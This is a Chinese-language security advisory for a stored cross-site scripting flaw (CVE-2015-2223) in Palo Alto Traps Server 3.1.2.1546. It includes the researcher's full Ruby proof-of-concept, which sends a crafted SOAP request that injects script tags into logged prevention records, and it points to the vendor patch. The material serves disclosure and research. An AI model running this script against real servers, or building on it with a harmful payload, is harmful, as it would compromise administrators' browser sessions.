Palo Alto Traps Server 3.1.2.1546持续性XSS漏洞
发布日期：2015-04-01
更新日期：2015-04-01
受影响系统：
Palo Alto Network Traps Server 3.1.2.1546
描述：
CVE(CAN) ID: CVE-2015-2223
Palo Alto Traps是高级端点保护包，可以检测内存破坏、DLL劫持之类的攻击。
Palo Alto Traps在处理嵌入了JavaScript的SOAP请求时，存在XSS漏洞，攻击者可利用此漏洞在管理员浏览器中执行任意JavaScript。
<*来源：Michael Hendrickx （[email protected]）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Michael Hendrickx （[email protected]）提供了如下测试方法：
#!/usr/bin/ruby
=begin
------------------------------------------------------------------------
Product: Palo Alto Traps Server (formerly Cyvera Endpoint Protection)
Vendor: Palo Alto Networks
Vulnerable Version(s): 3.1.2.1546
Tested Version: 3.1.2.1546
Advisory Publication: 29 March 2015
Vendor Notification: 17 October 2014
Vulnerability Type: Stored Cross Site Scripting
CVE Reference: CVE-2015-2223
Risk Level: High
Solution Status:
Discovered and Provided: Michael Hendrickx, help AG
------------------------------------------------------------------------
About the product:
Palo Alto Traps is an advanced endpoint protection suite that detects attacks such as memory corruption, executable child processes, DLL hijacking, etc. Aside from optionally blocking it, it sends this “trap” to a central server for logging purposes.
About the vulnerability:
An attacker can send a SOAP request with JavaScript embedded inside it, which gets stored in the database. When an administrator monitors the Traps’ admin screen and opens details about the vulnerability, the JavaScript is executed on the admin browser.
The XSS works in the <b:Arguments>, <b:FileName> and <b:URL> parameters, for example:
<b:Arguments>"C:\\Users\\Michael\\fake.exe"
<script>
alert("xss");
</script>
</b:Arguments>
A POC script can be found at the following URL:
https://github.com/ndrix/random-scripts/blob/master/pa_traps_xss.rb
------------------------------------------------------------------------
Solution:
The vendor was notified back in October 2014, and a we’ve sent a few follow ups since. Contact the vendor for the patch details.
References:
[1] help AG middle East: http://www.helpag.com/
[2] Palo Alto Traps: https://www.paloaltonetworks.com/products/endpoint-security.html
------------------------------------------------------------------------
=end
# PA traps fuzzer? :)
require 'net/http'
def usage
puts "pa_traps.rb <trapserver>"
exit
end
usage if ARGV.empty?
# get the arguments
traps = {}
traps[:server] = ARGV[0]
traps[:port] = 2125
http_headers = {
"Content-Type" => "application/soap+xml; charset=utf-8",
"Expect" => "100-continue",
"Connection" => "Keep-Alive"
}
soap_envelope = <<-SOAP
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://tempuri.org/IClientServices/SendPreventions</a:Action>
<a:MessageID>urn:uuid:d1bdb437-ea8e-47e8-8167-6cfd69655f43</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">http://10.13.6.82:2125/CyveraServer/</a:To>
</s:Header>
<s:Body>
<SendPreventions xmlns="http://tempuri.org/">
<machine>VMNAME1</machine>
<preventions xmlns:b="http://schemas.datacontract.org/2004/07/Cyvera.Common.Interfaces" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:PreventionDetails>
<b:Id>0</b:Id>
<b:MachineName>AEDXBNB-MHE</b:MachineName>
<b:Message>Exploit attempt was prevented by Traps</b:Message>
<b:PreventionKey>116215ce-65e2-4b77-b176-6c0279d12c37</b:PreventionKey>
<b:ProcessName>Excel.exe</b:ProcessName>
<b:Time>2014-10-15T13:18:56</b:Time>
<b:UserName> HELPAG\\hendrickx </b:UserName>
<b:Arguments>"C:\\Users\\Michael\\fake.exe"
<script>
alert("xss");
</script>
</b:Arguments>
<b:CyveraCode>EXEPROT</b:CyveraCode>
<b:CyveraInternalCode i:nil="true"/>
<b:CyveraVersion>3.1.2.1546</b:CyveraVersion>
<b:FileName>
<script>
alert("xss");
</script>
</b:FileName>
<b:PreventionMode>Notify</b:PreventionMode>
<b:ProcessHash i:nil="true"/>
<b:ProcessVersion>1.12.1.0</b:ProcessVersion>
<b:Sent>false</b:Sent>
<b:SentToServerTime>0001-01-01T00:00:00</b:SentToServerTime>
<b:Source>Unknown</b:Source>
<b:Status i:nil="true"/>
<b:URL>
<script>
alert("xss in URL");
</script>
</b:URL>
</b:PreventionDetails>
</preventions>
</SendPreventions>
</s:Body>
</s:Envelope>
SOAP
if traps[:server].empty?
puts "Need a traps server"
usage
end
# summary
puts "Testing #{traps[:server]}"
Net::HTTP.start(traps[:server], traps[:port]) do |http|
r1 = http.request_post('/CyveraServer/', soap_envelope, http_headers);
puts r1
puts r1.inspect
end
建议：
厂商补丁：
Palo Alto Network
-----------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
https://www.paloaltonetworks.com/products/endpoint-security.html